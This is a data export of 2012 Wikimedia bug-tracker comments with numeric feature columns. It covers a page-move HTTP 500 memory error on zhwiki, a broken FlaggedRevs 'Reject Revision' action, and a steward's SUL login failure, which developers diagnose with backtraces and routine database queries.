Going to close this as WORKSFORME soon if nobody complains.",,,1365689620,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,True,,,-20,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,21.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,21.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,4.0,0.8947368421052632,"Hmm, sounds sufficient to me. 
Going to close this as WORKSFORME soon if nobody complains."
169655,Moving page triggers HTTP 500 on zhwiki,"(In reply to comment #8)
> Liangent: Is this still slow? 
> Wondering if this is really MediaWiki code related or WM some server
> issues...

I forgot how slow it was, but now it takes 9s to move (observed in Firebug). Looks similar to its rendering time (<!-- Served by mw1087 in 6.769 secs. -->).",,,1364171560,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,False,,,-23,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,5.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,15.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,4.0,0.0,9.0,13.0,5.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,3.036363636363636,0.7454545454545455,"(In reply to comment #8)
QUOTE
QUOTE
QUOTE

I forgot how slow it was, but now it takes 9s to move (observed in Firebug). Looks similar to its rendering time (<!-- Served by mw1087 in 6.769 secs. -->)."
169646,Moving page triggers HTTP 500 on zhwiki,"Liangent: Is this still slow? 
Wondering if this is really MediaWiki code related or WM some server issues...",,,1364152874,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,True,,,-23,True,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,5.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,23.0,5.0,5.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.181818181818182,0.9545454545454546,"Liangent: Is this still slow? 
Wondering if this is really MediaWiki code related or WM some server issues..."
169637,Moving page triggers HTTP 500 on zhwiki,"(In reply to comment #6)
> Has this been seen since?  I'm bumping milestone, but I imagine it could be
> closed as fixed.

This particular page is movable now but the moving action is still somehow slow. Since this is an OOM error I would imagine there's still something expensive happening.",,,1349279562,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,False,,,-47,True,0.0,2.0,0.0,0.0,0.0,9.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,2.0,0.0,9.0,7.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,9.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,14.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,7.0,16.0,2.0,2.0,9.0,0.0,0.0,0.0,2.0,5.0,0.0,2.0,0.0,2.0,7.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.977272727272727,0.8636363636363636,"(In reply to comment #6)
QUOTE
QUOTE

This particular page is movable now but the moving action is still somehow slow. Since this is an OOM error I would imagine there's still something expensive happening."
169626,Moving page triggers HTTP 500 on zhwiki,"Has this been seen since?  I'm bumping milestone, but I imagine it could be closed as fixed.",,,1349028676,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,False,,,-48,True,0.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,14.0,9.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,14.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,14.0,9.0,0.0,5.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,3.4545454545454546,0.9545454545454546,"Has this been seen since?  I'm bumping milestone, but I imagine it could be closed as fixed."
169617,Moving page triggers HTTP 500 on zhwiki,*** Bug 35049 has been marked as a duplicate of this bug. ***,,,1331175921,,PHID-USER-xxkolqnkrj3sfwdouu7j,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,False,,,-77,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 35049 has been marked as a duplicate of this bug. ***
169608,Moving page triggers HTTP 500 on zhwiki,"The first line would be useful also

[07-Mar-2012 15:53:41] Fatal error: Allowed memory size of 125829120 bytes exhausted (tried to allocate 4064 bytes) at /usr/local/apache/common-local/php-1.19/includes/StringUtils.php on line 334",,,1331135829,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,10.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.12,0.82,"The first line would be useful also

[07-Mar-2012 15:53:41] Fatal error: Allowed memory size of 125829120 bytes exhausted (tried to allocate 4064 bytes) at /usr/local/apache/common-local/php-1.19/includes/StringUtils.php on line 334"
169598,Moving page triggers HTTP 500 on zhwiki,"Server: srv241
Method: POST
URL: http://zh.wikipedia.org/w/index.php?title=Special:%E7%A7%BB%E5%8A%A8%E9%A1%B5%E9%9D%A2&action=submit&this=http500_is_for_reedy
Cookie:<redacted>
Backtrace:
#0 /usr/local/apache/common-local/php-1.19/includes/StringUtils.php(334): fss_prep_replace(Array)
#1 /usr/local/apache/common-local/php-1.19/languages/LanguageConverter.php(442): ReplacementArray->replace('Android Market')
#2 /usr/local/apache/common-local/php-1.19/languages/LanguageConverter.php(460): LanguageConverter->translate('Android Market', 'zh-tw')
#3 /usr/local/apache/common-local/php-1.19/languages/Language.php(3311): LanguageConverter->autoConvertToAllVariants('Android Market')
#4 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(1734): Language->autoConvertToAllVariants('Android Market')
#5 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(1672): Parser->replaceInternalLinks2('#????????? ')
#6 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(1115): Parser->replaceInternalLinks('#????????? [[Go...')
#7 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(345): Parser->internalParse('#????????? [[Go...')
#8 /usr/local/apache/common-local/php-1.19/includes/WikiPage.php(1522): Parser->parse('#????????? [[Go...', Object(Title), Object(ParserOptions), true, true, 19489685)
#9 /usr/local/apache/common-local/php-1.19/includes/WikiPage.php(1559): WikiPage->prepareTextForEdit('#????????? [[Go...', 19489685, Object(User))
#10 /usr/local/apache/common-local/php-1.19/includes/Title.php(3665): WikiPage->doEditUpdates(Object(Revision), Object(User), Array)
#11 /usr/local/apache/common-local/php-1.19/includes/Title.php(3483): Title->moveToInternal(Object(Title), '', true)
#12 /usr/local/apache/common-local/php-1.19/includes/specials/SpecialMovepage.php(449): Title->moveTo(Object(Title), true, '', true)
#13 /usr/local/apache/common-local/php-1.19/includes/specials/SpecialMovepage.php(98): MovePageForm->doSubmit()
#14 /usr/local/apache/common-local/php-1.19/includes/SpecialPageFactory.php(476): MovePageForm->execute(NULL)
#15 /usr/local/apache/common-local/php-1.19/includes/Wiki.php(263): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#16 /usr/local/apache/common-local/php-1.19/includes/Wiki.php(593): MediaWiki->performRequest()
#17 /usr/local/apache/common-local/php-1.19/includes/Wiki.php(503): MediaWiki->main()
#18 /usr/local/apache/common-local/php-1.19/index.php(58): MediaWiki->run()
#19 /usr/local/apache/common-local/live-1.5/index.php(3): require('/usr/local/apac...')
#20 {main}",,,1331135770,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.166666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.5,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.0,0.0,7.666666666666667,0.0,0.16666666666666666,0.16666666666666666,6.166666666666667,7.5,2.8333333333333335,0.0,0.16666666666666666,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.5,4.044781144781145,0.32092592592592595,"Server: srv241
Method: POST
URL: URL
Cookie:<redacted>
Backtrace:
#0 /usr/local/apache/common-local/php-1.19/includes/StringUtils.php(334): fss_prep_replace(Array)
#1 /usr/local/apache/common-local/php-1.19/languages/LanguageConverter.php(442): ReplacementArray->replace('Android Market')
#2 /usr/local/apache/common-local/php-1.19/languages/LanguageConverter.php(460): LanguageConverter->translate('Android Market', 'zh-tw')
#3 /usr/local/apache/common-local/php-1.19/languages/Language.php(3311): LanguageConverter->autoConvertToAllVariants('Android Market')
#4 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(1734): Language->autoConvertToAllVariants('Android Market')
#5 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(1672): Parser->replaceInternalLinks2('#????????? ')
#6 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(1115): Parser->replaceInternalLinks('#????????? [[Go...')
#7 /usr/local/apache/common-local/php-1.19/includes/parser/Parser.php(345): Parser->internalParse('#????????? [[Go...')
#8 /usr/local/apache/common-local/php-1.19/includes/WikiPage.php(1522): Parser->parse('#????????? [[Go...', Object(Title), Object(ParserOptions), true, true, 19489685)
#9 /usr/local/apache/common-local/php-1.19/includes/WikiPage.php(1559): WikiPage->prepareTextForEdit('#????????? [[Go...', 19489685, Object(User))
#10 /usr/local/apache/common-local/php-1.19/includes/Title.php(3665): WikiPage->doEditUpdates(Object(Revision), Object(User), Array)
#11 /usr/local/apache/common-local/php-1.19/includes/Title.php(3483): Title->moveToInternal(Object(Title), '', true)
#12 /usr/local/apache/common-local/php-1.19/includes/specials/SpecialMovepage.php(449): Title->moveTo(Object(Title), true, '', true)
#13 /usr/local/apache/common-local/php-1.19/includes/specials/SpecialMovepage.php(98): MovePageForm->doSubmit()
#14 /usr/local/apache/common-local/php-1.19/includes/SpecialPageFactory.php(476): MovePageForm->execute(NULL)
#15 /usr/local/apache/common-local/php-1.19/includes/Wiki.php(263): SpecialPageFactory::executePath(Object(Title), Object(RequestContext))
#16 /usr/local/apache/common-local/php-1.19/includes/Wiki.php(593): MediaWiki->performRequest()
#17 /usr/local/apache/common-local/php-1.19/includes/Wiki.php(503): MediaWiki->main()
#18 /usr/local/apache/common-local/php-1.19/index.php(58): MediaWiki->run()
#19 /usr/local/apache/common-local/live-1.5/index.php(3): require('/usr/local/apac...')
#20 {main}"
169587,Moving page triggers HTTP 500 on zhwiki,"(In reply to comment #1)
> I'm presuming this is new behaviour on 1.19wmf1?

The community reported this error only after the upgrade.

I did some other moves and they didn't trigger 500, so more specifically, one of those problematic pages is [[Android Market]].",,,1331134743,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,False,,,-77,True,2.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,10.0,8.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,12.0,0.0,2.0,10.0,0.0,0.0,0.0,2.0,4.0,0.0,6.0,0.0,4.0,8.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,3.6470588235294117,0.8823529411764706,"(In reply to comment #1)
QUOTE

The community reported this error only after the upgrade.

I did some other moves and they didn't trigger 500, so more specifically, one of those problematic pages is [[Android Market]]."
169579,Moving page triggers HTTP 500 on zhwiki,I'm presuming this is new behaviour on 1.19wmf1?,,,1331133834,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-lf7jtkhhfcz2qlcouaa2,task_subcomment,,True,c2,1,True,,,-77,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,10.0,10.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,4.1,1.0,I'm presuming this is new behaviour on 1.19wmf1?
36544,"Since the 1.19 upgrade on en.wikibooks.org the ""Reject Revision"" function of the FlaggedRevs extension doesn't work. Selecting to reject a revision results in either a  HTTP 500 error or the browser forwarding to the correct URL but then taking no action.","**Author:** `neil`

**Description:**


--------------------------
**Version**: unspecified
**Severity**: normal
**Platform**: PC
**URL**: http://en.wikibooks.org/w/index.php?title=A_General_Style_Guide_for_the_English_Language&diff=cur&oldid=2267115",High,80.0,1329751440,1329763592.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-z7vxpo4hzyahfzwnjfo2,task_description,resolved,True,c2,1,False,False,True,-80,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.9130434782608696,0.3695652173913043,"**Author:** CODE

**Description:**


--------------------------
**Version**: unspecified
**Severity**: normal
**Platform**: PC
**URL**: URL"
168175,"Since the 1.19 upgrade on en.wikibooks.org the ""Reject Revision"" function of the FlaggedRevs extension doesn't work. Selecting to reject a revision results in either a  HTTP 500 error or the browser forwarding to the correct URL but then taking no action.",Fixed in r111950.,,,1329763592,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-z7vxpo4hzyahfzwnjfo2,task_subcomment,,True,c2,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Fixed in r111950.
168170,"Since the 1.19 upgrade on en.wikibooks.org the ""Reject Revision"" function of the FlaggedRevs extension doesn't work. Selecting to reject a revision results in either a  HTTP 500 error or the browser forwarding to the correct URL but then taking no action.",apache2[1291]: PHP Fatal error:  Call to a member function getUser() on a non-object in /usr/local/apache/common-local/php-1.19/includes/RevisionList.php on line 281,,,1329762770,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-z7vxpo4hzyahfzwnjfo2,task_subcomment,,True,c2,1,False,,,-80,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,10.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,3.7,0.75,apache2[1291]: PHP Fatal error:  Call to a member function getUser() on a non-object in /usr/local/apache/common-local/php-1.19/includes/RevisionList.php on line 281
168168,"Since the 1.19 upgrade on en.wikibooks.org the ""Reject Revision"" function of the FlaggedRevs extension doesn't work. Selecting to reject a revision results in either a  HTTP 500 error or the browser forwarding to the correct URL but then taking no action.","**neil** wrote:

Sample URL http://en.wikibooks.org/w/index.php?title=A_General_Style_Guide_for_the_English_Language&diff=cur&oldid=2267115

Hitting ""Reject Revision"" button forwards to http://en.wikibooks.org/w/index.php?title=Special:RevisionReview&action=submit

then returns an HTTP 500 error. Three sysops on en.wb are all reporting the same issue, across different browsers (IE, FF and Opera) and different pages.",,,1329751571,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-z7vxpo4hzyahfzwnjfo2,task_subcomment,,True,c2,1,False,,,-80,True,2.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,22.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,17.0,0.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,3.740740740740741,0.7777777777777778,"**neil** wrote:

Sample URL URL

Hitting ""Reject Revision"" button forwards to URL

then returns an HTTP 500 error. Three sysops on en.wb are all reporting the same issue, across different browsers (IE, FF and Opera) and different pages."
36512,unable to (SUL-)login on ru.wikiversity.org,"**Author:** `kontakt-bugzilla-wikimedia-org-22.07.2011`

**Description:**
It happened again, see https://bugzilla.wikimedia.org/show_bug.cgi?id=34381 ...

I'm steward and my SUL is active in more than 400 wmf projects. Today I was renaming some user accounts via http://toolserver.org/~quentinv57/tools/global_renaming.ph - then I came to ru.wikiversity.org:

http://ru.wikiversity.org/w/index.php?title=Special:RenameUser&oldusername=Mietchen&newusername=Daniel+Mietchen&reason=see+[[meta%3ASteward_requests%2FUsername_changes%23Mietchen%40global]]

... and on top of the page I read ""Axpde Моя страница обсуждения Настройки Список наблюдения Мой вклад Завершение сеанса"", i.e. my account has been automatically created. But then it reads:

""Ошибка доступа
Перейти к: навигация, поиск

Запрошенное действие могут выполнять только участники из группы «Бюрократы».

Возврат к странице Заглавная страница.""

... i.e. permission error! And with the next click the top line vanished telling me to login first. But then I wasn't able to login. I tried to reset my password, but it reads:

""Для участника с именем Axpde электронный адрес указан не был.""

... which means something like ""no email address attached to that account"" (exact translation impossible 'cause translate.google.com went nuts :(


Same happened on zh-yue.wikipedia.org, ru.wikibooks.org (managed to get it working via reset password) and uz.wikiquote.org before (no email address to rest password, see https://bugzilla.wikimedia.org/show_bug.cgi?id=34381 ...).

Please fix and please, tell me how can this happen for the second time this month?!?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=34381",High,80.0,1329656040,1330165896.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_description,resolved,True,c2,1,False,False,True,-80,True,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,4.333333333333333,0.6666666666666666,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,3.6666666666666665,0.0,3.0,6.333333333333333,0.3333333333333333,1.6666666666666667,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,3.0,1.3333333333333333,1.3333333333333333,0.0,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.6666666666666666,1.6666666666666667,0.0,0.3333333333333333,0.0,0.0,0.0,15.0,0.3333333333333333,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,1.3333333333333333,1.3333333333333333,13.666666666666666,0.3333333333333333,2.6666666666666665,4.0,0.0,0.0,0.6666666666666666,0.0,4.333333333333333,0.6666666666666666,0.3333333333333333,0.0,5.0,6.333333333333333,10.666666666666666,0.6666666666666666,2.6666666666666665,0.0,5.0,0.0,0.6666666666666666,0.0,0.6666666666666666,1.0,0.3333333333333333,0.0,0.6666666666666666,4.028742067935798,0.7428144830160507,"**Author:** CODE

**Description:**
It happened again, see URL ...

I'm steward and my SUL is active in more than 400 wmf projects. Today I was renaming some user accounts via URL - then I came to ru.wikiversity.org:

URL

... and on top of the page I read ""Axpde Моя страница обсуждения Настройки Список наблюдения Мой вклад Завершение сеанса"", i.e. my account has been automatically created. But then it reads:

""Ошибка доступа
Перейти к: навигация, поиск

Запрошенное действие могут выполнять только участники из группы «Бюрократы».

Возврат к странице Заглавная страница.""

... i.e. permission error! And with the next click the top line vanished telling me to login first. But then I wasn't able to login. I tried to reset my password, but it reads:

""Для участника с именем Axpde электронный адрес указан не был.""

... which means something like ""no email address attached to that account"" (exact translation impossible 'cause translate.google.com went nuts :(


Same happened on zh-yue.wikipedia.org, ru.wikibooks.org (managed to get it working via reset password) and uz.wikiquote.org before (no email address to rest password, see URL ...).

Please fix and please, tell me how can this happen for the second time this month?!?

--------------------------
**Version**: unspecified
**Severity**: normal
**See Also**:
URL"
166222,unable to (SUL-)login on ru.wikiversity.org,"I have updated the local user emails with the global account email:

$ mwscript eval.php ruwikiversity
> $u = User::newFromName( 'Axpde' );
> $u->setEmail(  );
> $u->saveSettings();
$

$ mwscript eval.php kkwiktionary
> $u = User::newFromName( 'Axpde' );
> $u->setEmail(  );
> $u->saveSettings();
> exit
$

User requested password reset and manually merged the accounts.",,,1330165896,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6ui3tew3x6ywbpnyzlxw,task_subcomment,,True,c2,1,True,,,-79,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,12.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.269230769230769,0.5576923076923077,"I have updated the local user emails with the global account email:

$ mwscript eval.php ruwikiversity
QUOTE
QUOTE
QUOTE
$

$ mwscript eval.php kkwiktionary
QUOTE
QUOTE
QUOTE
QUOTE
$

User requested password reset and manually merged the accounts."
166217,unable to (SUL-)login on ru.wikiversity.org,"The issue is same as bug 34381, a local user was created without the global user informations :-(


[ruwikiversity]> select * from user where user_name='Axpde' \G
*************************** 1. row ***************************
                 user_id: 8767
               user_name: Axpde
          user_real_name: 
           user_password: 
        user_newpassword: 
       user_newpass_time: NULL
              user_email: 
            user_options: 
            user_touched: 
              user_token: SOMETOKEN
user_email_authenticated: NULL
        user_email_token: NULL
user_email_token_expires: NULL
       user_registration: 20120219121634
          user_editcount: 0
1 row in set (0.00 sec)



[kkwiktionary]> select * from user where user_name='Axpde' \G
*************************** 1. row ***************************
                 user_id: 1001
               user_name: Axpde
          user_real_name: 
           user_password: 
        user_newpassword: 
              user_email: 
            user_options: 
            user_touched: 
              user_token: SOME TOKEN
user_email_authenticated: NULL
        user_email_token: NULL
user_email_token_expires: NULL
       user_registration: 20120219131726
       user_newpass_time: NULL
          user_editcount: 0
